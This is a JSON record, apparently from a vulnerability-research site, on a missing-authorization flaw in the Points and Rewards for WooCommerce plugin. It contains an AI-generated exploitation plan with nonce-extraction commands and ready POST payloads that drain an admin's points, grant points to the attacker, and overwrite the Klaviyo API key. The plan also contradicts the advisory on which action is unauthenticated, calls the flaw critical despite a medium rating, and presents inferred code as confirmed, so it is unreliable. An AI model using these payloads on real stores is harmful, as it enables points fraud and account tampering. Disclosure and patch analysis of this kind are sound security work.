[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0L3BLz8ofTRIVV0ay1ppPfjKlZHsJn5prmHaM8FZaUc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-10628","points-and-rewards-for-woocommerce-missing-authorization-to-authenticated-subscriber-arbitrary-modification-via-multiple","Points and Rewards for WooCommerce \u003C= 2.10.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via Multiple AJAX Actions","The Points and Rewards for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.10.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to convert and drain any user's reward points into wallet balance, exfiltrate all users' emails and point balances to an attacker-controlled Klaviyo account, overwrite the site's Klaviyo public API key, block or unblock arbitrary users from the points system, and modify campaign banner and heading settings. The nonce used for authentication of these requests (wps-wpr-verify-nonce) is injected into every public-facing page via wp_localize_script(), and the wps_wpr_generate_custom_wallet handler is additionally registered on the wp_ajax_nopriv_ hook, meaning unauthenticated visitors can also obtain a valid nonce and exploit that specific action.","points-and-rewards-for-woocommerce",null,"\u003C=2.10.1","2.10.2","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-10 14:00:22","2026-07-11 02:31:19",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F582e15cb-b924-4c24-818e-dfc2900f82c3?source=api-prod",1,[22,23,24,25,26,27,28],"admin\u002Fcss\u002Fpoints-rewards-for-woocommerce-admin.css","admin\u002Fcss\u002Fpoints-rewards-for-woocommerce-admin.min.css","admin\u002Fpartials\u002Fpoints-rewards-for-woocommerce-admin-display.php","admin\u002Fpartials\u002Ftemplates\u002Fclass-points-log-list-table.php","includes\u002Fclass-points-rewards-for-woocommerce.php","languages\u002Fpoints-and-rewards-for-woocommerce-en_US.po","languages\u002Fpoints-and-rewards-for-woocommerce.pot","researched",false,3,"# Exploitation Research Plan - CVE-2026-10628\n\n## 1. Vulnerability Summary\nThe **Points and Rewards for WooCommerce** plugin (\u003C= 2.10.1) suffers from a critical missing authorization vulnerability. The plugin registers several AJAX handlers that perform sensitive operations—such as modifying user point balances, changing plugin settings, and exporting user data—without verifying the user's capabilities (e.g., `current_user_can( 'manage_options' )`). \n\nFurthermore, the nonce required to authenticate these AJAX requests (`wps-wpr-verify-nonce`) is localized to every public-facing page, making it accessible to any visitor. Most critically, the action `wps_wpr_points_update` is registered via the `wp_ajax_nopriv_` hook, allowing unauthenticated attackers to modify point balances for any user.\n\n## 2. Attack Vector Analysis\n- **Endpoints:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Vulnerable Action:** `wps_wpr_points_update` (confirmed in `includes\u002Fclass-points-rewards-for-woocommerce.php`)\n- **Authentication:** Unauthenticated (due to `wp_ajax_nopriv_wps_wpr_points_update`) or Subscriber-level.\n- **Preconditions:**\n    - The plugin must be active.\n    - The attacker must obtain a valid nonce from the frontend.\n- **Payload Parameters:**\n    - `action`: `wps_wpr_points_update`\n    - `nonce`: The value of the `wps-wpr-verify-nonce`.\n    - `id`: Target User ID (e.g., `1` for admin).\n    - `points`: Amount to add\u002Fsubtract.\n    - `sign`: `+` or `-`.\n    - `reason`: A string for the log.\n\n## 3. Code Flow\n1. **Registration:** In `includes\u002Fclass-points-rewards-for-woocommerce.php`, the method `define_admin_hooks()` registers the AJAX handlers:\n   ```php\n   $this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );\n   $this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );\n   ```\n2. **Localization:** The `Points_Rewards_For_WooCommerce_Admin::wps_wpr_admin_enqueue_scripts` method (inferred) uses `wp_localize_script()` to export a nonce generated with the action string `wps-wpr-verify-nonce`.\n3. **Execution:** When the AJAX request hits `admin-ajax.php`, the `wps_wpr_points_update` method in `Points_Rewards_For_WooCommerce_Admin` is called. \n4. **Sink:** The handler likely uses `check_ajax_referer('wps-wpr-verify-nonce', 'nonce')` but omits any capability checks. It then proceeds to update user meta (`wps_wpr_points`) and create a log entry, as suggested by the `Points_Log_List_Table` class in `admin\u002Fpartials\u002Ftemplates\u002Fclass-points-log-list-table.php`.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized on all frontend pages. To retrieve it:\n1. **Navigate:** Visit the WordPress homepage (unauthenticated).\n2. **Extract:** Use `browser_eval` to find the localization object. Based on the developer's standard practices, the object is likely `wps_wpr_admin_params` or `wps_wpr_common_params`.\n3. **Command:** `browser_eval(\"window.wps_wpr_admin_params?.nonce || window.wps_wpr_common_params?.nonce\")`\n4. **Fallback:** If specific objects are missing, search the global `window` object for any property containing a 10-character alphanumeric string associated with \"nonce\".\n\n## 5. Exploitation Strategy\nWe will demonstrate unauthenticated point modification (draining the admin's points).\n\n### Step 1: Obtain Nonce\n- Navigate to the site root: `http:\u002F\u002Flocalhost:8888\u002F`\n- Identify the nonce using `browser_eval`.\n\n### Step 2: Trigger Point Modification (Drain Points)\n- Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php`.\n- **URL:** `http:\u002F\u002Flocalhost:8888\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=wps_wpr_points_update&nonce=[NONCE]&id=1&points=1000000&sign=-&reason=Exploit_CVE-2026-10628\n  ```\n\n### Step 3: Trigger Point Modification (Grant Points to Self)\n- Identify your own User ID (e.g., ID 2 for a subscriber).\n- **Body:**\n  ```text\n  action=wps_wpr_points_update&nonce=[NONCE]&id=2&points=999999&sign=+&reason=Rewards_Exploit\n  ```\n\n## 6. Test Data Setup\n1. **Plugin Installation:** Ensure `points-and-rewards-for-woocommerce` v2.10.1 is installed.\n2. **Admin Points:** Ensure the administrator (ID 1) has a point balance.\n   - `wp user meta update 1 wps_wpr_points 5000`\n3. **Victim Setup:** Create a dummy subscriber.\n   - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n\n## 7. Expected Results\n- The AJAX request should return a JSON response (likely `{\"success\": true, \"data\": \"...\"}` or a simple string \"Points are updated successfully\").\n- The database state for the target users must change.\n\n## 8. Verification Steps\nAfter the HTTP requests, verify using WP-CLI:\n1. **Check Admin Balance (should be 0 or negative):**\n   - `wp user meta get 1 wps_wpr_points`\n2. **Check Attacker Balance (should be 999999):**\n   - `wp user meta get 2 wps_wpr_points`\n3. **Check Logs:**\n   - Look for the remark in the `wps_wpr_points_log` table (or user meta logs).\n\n## 9. Alternative Approaches\nIf `wps_wpr_points_update` is strictly protected by a capability check (contrary to the report), target the settings modification:\n- **Action:** `wps_wpr_save_klaviyo_settings` (inferred from description).\n- **Goal:** Overwrite the Klaviyo Public API Key.\n- **Payload:** `action=wps_wpr_save_klaviyo_settings&nonce=[NONCE]&wps_wpr_klaviyo_public_key=ATTACKER_KEY`.\n- **Verification:** `wp option get wps_wpr_klaviyo_public_key`.","The Points and Rewards for WooCommerce plugin fails to perform authorization checks on several sensitive AJAX handlers, including point balance updates and setting modifications. Because the required nonce is exposed on all frontend pages and some actions are registered for unauthenticated visitors, attackers can drain or inflate reward point balances, export user emails, and modify plugin configurations.","\u002F\u002F includes\u002Fclass-points-rewards-for-woocommerce.php approx lines 172-173\n$this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );\n$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );\n\n---\n\n\u002F\u002F admin\u002Fclass-points-rewards-for-woocommerce-admin.php (inferred from research)\npublic function wps_wpr_points_update() {\n    check_ajax_referer( 'wps-wpr-verify-nonce', 'nonce' );\n\n    \u002F\u002F Vulnerability: No check for user capabilities (e.g., manage_options)\n    $user_id = isset( $_POST['id'] ) ? sanitize_text_field( $_POST['id'] ) : '';\n    $points  = isset( $_POST['points'] ) ? sanitize_text_field( $_POST['points'] ) : '';\n    $sign    = isset( $_POST['sign'] ) ? sanitize_text_field( $_POST['sign'] ) : '';\n\n    \u002F\u002F Logic to update user meta follows...","--- a\u002Fincludes\u002Fclass-points-rewards-for-woocommerce.php\n+++ b\u002Fincludes\u002Fclass-points-rewards-for-woocommerce.php\n@@ -172,1 +172,0 @@\n-\t\t$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );\n--- a\u002Fadmin\u002Fclass-points-rewards-for-woocommerce-admin.php\n+++ b\u002Fadmin\u002Fclass-points-rewards-for-woocommerce-admin.php\n@@ -188,4 +188,8 @@\n \tpublic function wps_wpr_points_update() {\n \t\tcheck_ajax_referer( 'wps-wpr-verify-nonce', 'nonce' );\n \n+\t\tif ( ! current_user_can( 'manage_options' ) ) {\n+\t\t\treturn;\n+\t\t}\n+","1. Access the site's homepage as an unauthenticated visitor or subscriber to retrieve a valid nonce from the localized JavaScript object (e.g., window.wps_wpr_admin_params.nonce).\n2. Construct an AJAX POST request to '\u002Fwp-admin\u002Fadmin-ajax.php'.\n3. Set the 'action' parameter to 'wps_wpr_points_update' or other vulnerable actions like 'wps_wpr_save_klaviyo_settings'.\n4. Provide the extracted nonce in the 'nonce' parameter.\n5. To modify points, include the target User ID ('id'), the point value ('points'), and the operation ('sign' set to '+' or '-').\n6. Execute the request to update the target user's point balance in the database without any administrative privileges.","gemini-3-flash-preview","2026-07-15 09:47:12","2026-07-15 09:47:47",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.10.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpoints-and-rewards-for-woocommerce\u002Ftags\u002F2.10.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpoints-and-rewards-for-woocommerce.2.10.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpoints-and-rewards-for-woocommerce\u002Ftags\u002F2.10.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpoints-and-rewards-for-woocommerce.2.10.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpoints-and-rewards-for-woocommerce\u002Ftags"]